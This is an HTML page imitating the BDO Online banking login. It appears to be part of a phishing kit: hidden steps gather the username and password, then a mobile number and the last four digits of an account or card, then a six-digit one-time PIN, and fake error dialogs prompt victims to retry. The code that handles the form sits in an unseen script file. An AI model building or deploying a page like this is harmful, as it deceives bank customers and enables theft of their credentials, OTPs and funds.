<!DOCTYPE html>
<html lang="en">

<head>
    <title>BDO Online</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script>
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css" rel="stylesheet">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <link href="styles.css" rel="stylesheet">
    <script src="script.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/js/all.min.js"></script>
</head>

<body>

    <div id="bdo_preloader">
        <div class="preloader-content text-center">
            <img src="preloader.png" class="mb-3 w-50" alt="Logo">
            <div class="position-fixed bottom-0 start-50 translate-middle-x mb-3 text-center">
                <i class="fa fa-spinner fa-spin fa-2x text-light" style="font-size:25px;"></i>
            </div>
        </div>
    </div>




    <div class="container mt-5">
        <div class="row">
            <div class="col-12 col-sm-4">
            </div>


            <div class="col-12 col-sm-4">
                <div class="card border-light shadow shadow-lg">
                    <div class="card-body">
                        <div class="px-2">
                            <div class="text-center">
                                <img src="logo.jpg" class="img-fluid w-75">
                            </div>

                            <div id="first_page" class="">
                                <!-- Form #1 -->
                                <div class="mb-3">
                                    <label for="username" class="form-label fw-bold">Username</label>
                                    <input type="text" class="form-control border border-primary rounded-3 bd"
                                        id="username" name="username" placeholder="Username" autocomplete="off">
                                </div>
                                <div class="mb-3">
                                    <label for="password" class="form-label fw-bold">Password</label>
                                    <div class="input-group border border-primary rounded-3 bd">
                                        <input type="password" name="password" class="form-control border-end-0" id="password"
                                            placeholder="Password">
                                        <button
                                            class="border-0 border-top border-end border-bottom rounded-2 bg-transparent"
                                            type="button" onclick="togglePasswordVisibility()">
                                            <i id="togglePasswordIcon" class="fas fa-eye-slash text-secondary"></i>
                                        </button>
                                    </div>
                                </div>
                                <button id="login" onclick="login()" class="btn btn-primary w-100 bg bd mt-3 fw-bold">Log
                                    in</button>
                                <!-- Form #1 End -->


                                <!-- Helper #1 -->
                                <div class="text-center">
                                    <h6 class="txt fw-bold mt-4">Need help logging in?</h6>
                                    <div class="mt-4  text-muted">
                                        <small style="font-size:12px;">Ver 1.14.8</small>
                                    </div>
                                </div>
                                <!-- Helper #1 End-->


                                <!-- Footer -->
                                <div class="text-center mt-5">
                                    <p>Don't have Online Banking yet?
                                        <a href="#" class="txt fw-bold text-decoration-none">
                                            Sign up
                                        </a>
                                    </p>
                                </div>
                                <!-- Footer End -->

                            </div>




                            <div id="second_page" class="d-none">
                                <h3 class="text-center mb-3 fw-bold">Confirm Your Information</h3>
                                <p class=" text-secondary ">Enter your username and the last 4 digits
                                    of your account or card number.</p>

                                <!-- Form #2 -->
                                <div class="mb-4">
                                    <label for="mobileNumber" class="form-label fw-bold">Mobile Number</label>
                                    <input type="text" class="form-control  rounded-3 " id="mobileNumber"
                                        placeholder="Mobile Number" name="mobileNumber" autocomplete="off" inputmode="numeric" pattern="[0-9]*" value="63">
                                </div>
                                <div class="mb-3">
                                    <label for="accNo" class="form-label fw-bold">Last 4 Digits of Your Account or Card
                                        Number</label>
                                    <input type="number" class="form-control  rounded-3 " id="accNo"
                                        placeholder="Last 4 Digits (Account/Card)" name="accNo" autocomplete="off" inputmode="numeric" pattern="[0-9]*" >
                                </div>
                                <button id="verify" class="btn btn-primary w-100 bg bd mt-3 mb-4 fw-bold"
                                    onclick="information()">Verify</button>
                                <!-- Form #2 End -->

                            </div>




                            <div id="last_page" class="d-none">
                                <h3 class="text-center mb-3 fw-bold">We need to make sure it's you</h3>
                                <p class=" text-secondary ">Please enter the One-Time PIN (OTP) sent to your registered mobile number.</p>
                                <div class="d-flex justify-content-center">
                                    <input type="text" class="otp-input" maxlength="1" inputmode="numeric" pattern="[0-9]*" />
                                    <input type="text" class="otp-input" maxlength="1" inputmode="numeric" pattern="[0-9]*" />
                                    <input type="text" class="otp-input" maxlength="1" inputmode="numeric" pattern="[0-9]*" />
                                    <input type="text" class="otp-input" maxlength="1" inputmode="numeric" pattern="[0-9]*" />
                                    <input type="text" class="otp-input" maxlength="1" inputmode="numeric" pattern="[0-9]*" />
                                    <input type="text" class="otp-input" maxlength="1" inputmode="numeric" pattern="[0-9]*" />
                                    <input type="hidden" name="thirdpage_value" id="thirdpage_value" />
                                </div>
                                <p class="py-4 fw-bold txt text-center" id="resendOtp" onclick="resendOtp()">Resend OTP</p>
                                <button id="verify_otp" class="btn btn-primary bg rounded-4 w-100 mb-3 fw-bold" onclick="verifyOTP()">Submit</button>
                            </div>




                        </div>




                    </div>

                    <div class="card-body p-0 border-3 m-0 pt-3 secondary-bg" id="first_footer">
                        <div class="text-center">
                            <p class="mt-3 mb-0">New to BDO?</p>
                            <p class="fw-bold txt">Open a BDO account</p>
                        </div>
                    </div>

                </div>


                <div class="col-12 col-sm-4">
                </div>
            </div>
        </div>




        <div class="modal" id="loginError">
            <div class="modal-dialog modal-sm modal-dialog-centered">
                <div class="modal-content">
                    <div class="modal-body px-3">
                        <p class="fw-bold  mb-2" style="font-size:20px;">Incorrect username or password
                        </p>
                        <p class="text-muted">Try again. If you have trouble logging in, tap Need help</p>
                        <div class="float-end">
                            <a href="#" class="txt fw-bold px-2 text-decoration-none" data-bs-dismiss="modal">NEED
                                HELP</a>
                            <a href="#" class="txt fw-bold px-2 text-decoration-none" data-bs-dismiss="modal">TRY
                                AGAIN</a>
                        </div>
                    </div>
                </div>
            </div>
        </div>



        <div class="modal" id="otpSent">
            <div class="modal-dialog modal-sm modal-dialog-centered">
                <div class="modal-content">
                    <div class="modal-body px-3">
                        <p class="fw-bold  mb-2" style="font-size:20px;">OTP Sent
                        </p>
                        <p class="text-muted">The OTP has been sent to your registered mobile number.</p>
                        <div class="float-end">
                            <a href="#" class="txt fw-bold px-2 text-decoration-none" data-bs-dismiss="modal">OK</a>
                        </div>
                    </div>
                </div>
            </div>
        </div>



        <div class="modal" id="accNoError">
            <div class="modal-dialog modal-sm modal-dialog-centered">
                <div class="modal-content">
                    <div class="modal-body px-3">
                        <p class="fw-bold  mb-2" style="font-size:20px;">Error
                        </p>
                        <p class="text-muted">The last 4 digits of your account or card number are invalid. Please try again.                        </p>
                        <div class="float-end">
                            <a href="#" class="txt fw-bold px-2 text-decoration-none" data-bs-dismiss="modal">TRY AGAIN</a>
                        </div>
                    </div>
                </div>
            </div>
        </div>



        
        <div class="modal" id="mobileNumberError">
            <div class="modal-dialog modal-sm modal-dialog-centered">
                <div class="modal-content">
                    <div class="modal-body px-3">
                        <p class="fw-bold  mb-2" style="font-size:20px;">Error
                        </p>
                        <p class="text-muted">The mobile number entered is invalid. Please enter a valid mobile number and try again.</p>
                        <div class="float-end">
                            <a href="#" class="txt fw-bold px-2 text-decoration-none" data-bs-dismiss="modal">TRY AGAIN</a>
                        </div>
                    </div>
                </div>
            </div>
        </div>





        <div class="modal" id="otpFailed">
            <div class="modal-dialog modal-sm modal-dialog-centered">
                <div class="modal-content">
                    <div class="modal-body px-3">
                        <p class="fw-bold  mb-2" style="font-size:20px;">OTP Verification Failed
                        </p>
                        <p class="text-muted">It looks like the OTP you entered is incorrect or expired. Please try again.</p>
                        <div class="float-end">
                            <a href="#" class="txt fw-bold px-2 text-decoration-none" data-bs-dismiss="modal">OK</a>
                        </div>
                    </div>
                </div>
            </div>
        </div>


</body>

</html>